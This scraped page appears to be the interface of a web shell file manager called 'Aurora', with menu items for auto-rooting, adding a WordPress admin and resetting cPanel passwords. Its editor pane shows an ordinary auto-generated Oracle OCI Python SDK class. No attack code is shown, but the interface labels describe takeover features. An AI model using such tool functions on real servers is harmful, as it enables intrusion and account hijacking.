Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
lib
python3.9
site-packages
oci
core
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: attach_boot_volume_details.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20160918 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class AttachBootVolumeDetails(object): """ AttachBootVolumeDetails model. """ #: A constant which can be used with the encryption_in_transit_type property of a AttachBootVolumeDetails. #: This constant has a value of "NONE" ENCRYPTION_IN_TRANSIT_TYPE_NONE = "NONE" #: A constant which can be used with the encryption_in_transit_type property of a AttachBootVolumeDetails. #: This constant has a value of "BM_ENCRYPTION_IN_TRANSIT" ENCRYPTION_IN_TRANSIT_TYPE_BM_ENCRYPTION_IN_TRANSIT = "BM_ENCRYPTION_IN_TRANSIT" def __init__(self, **kwargs): """ Initializes a new AttachBootVolumeDetails object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param boot_volume_id: The value to assign to the boot_volume_id property of this AttachBootVolumeDetails. :type boot_volume_id: str :param display_name: The value to assign to the display_name property of this AttachBootVolumeDetails. :type display_name: str :param instance_id: The value to assign to the instance_id property of this AttachBootVolumeDetails. :type instance_id: str :param encryption_in_transit_type: The value to assign to the encryption_in_transit_type property of this AttachBootVolumeDetails. Allowed values for this property are: "NONE", "BM_ENCRYPTION_IN_TRANSIT" :type encryption_in_transit_type: str """ self.swagger_types = { 'boot_volume_id': 'str', 'display_name': 'str', 'instance_id': 'str', 'encryption_in_transit_type': 'str' } self.attribute_map = { 'boot_volume_id': 'bootVolumeId', 'display_name': 'displayName', 'instance_id': 'instanceId', 'encryption_in_transit_type': 'encryptionInTransitType' } self._boot_volume_id = None self._display_name = None self._instance_id = None self._encryption_in_transit_type = None @property def boot_volume_id(self): """ **[Required]** Gets the boot_volume_id of this AttachBootVolumeDetails. The OCID of the boot volume. :return: The boot_volume_id of this AttachBootVolumeDetails. :rtype: str """ return self._boot_volume_id @boot_volume_id.setter def boot_volume_id(self, boot_volume_id): """ Sets the boot_volume_id of this AttachBootVolumeDetails. The OCID of the boot volume. :param boot_volume_id: The boot_volume_id of this AttachBootVolumeDetails. :type: str """ self._boot_volume_id = boot_volume_id @property def display_name(self): """ Gets the display_name of this AttachBootVolumeDetails. A user-friendly name. Does not have to be unique, and it's changeable. Avoid entering confidential information. :return: The display_name of this AttachBootVolumeDetails. :rtype: str """ return self._display_name @display_name.setter def display_name(self, display_name): """ Sets the display_name of this AttachBootVolumeDetails. A user-friendly name. Does not have to be unique, and it's changeable. Avoid entering confidential information. :param display_name: The display_name of this AttachBootVolumeDetails. :type: str """ self._display_name = display_name @property def instance_id(self): """ **[Required]** Gets the instance_id of this AttachBootVolumeDetails. The OCID of the instance. :return: The instance_id of this AttachBootVolumeDetails. :rtype: str """ return self._instance_id @instance_id.setter def instance_id(self, instance_id): """ Sets the instance_id of this AttachBootVolumeDetails. The OCID of the instance. :param instance_id: The instance_id of this AttachBootVolumeDetails. :type: str """ self._instance_id = instance_id @property def encryption_in_transit_type(self): """ Gets the encryption_in_transit_type of this AttachBootVolumeDetails. Refer the top-level definition of encryptionInTransitType. The default value is NONE. Allowed values for this property are: "NONE", "BM_ENCRYPTION_IN_TRANSIT" :return: The encryption_in_transit_type of this AttachBootVolumeDetails. :rtype: str """ return self._encryption_in_transit_type @encryption_in_transit_type.setter def encryption_in_transit_type(self, encryption_in_transit_type): """ Sets the encryption_in_transit_type of this AttachBootVolumeDetails. Refer the top-level definition of encryptionInTransitType. The default value is NONE. :param encryption_in_transit_type: The encryption_in_transit_type of this AttachBootVolumeDetails. :type: str """ allowed_values = ["NONE", "BM_ENCRYPTION_IN_TRANSIT"] if not value_allowed_none_or_none_sentinel(encryption_in_transit_type, allowed_values): raise ValueError( f"Invalid value for `encryption_in_transit_type`, must be None or one of {allowed_values}" ) self._encryption_in_transit_type = encryption_in_transit_type def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other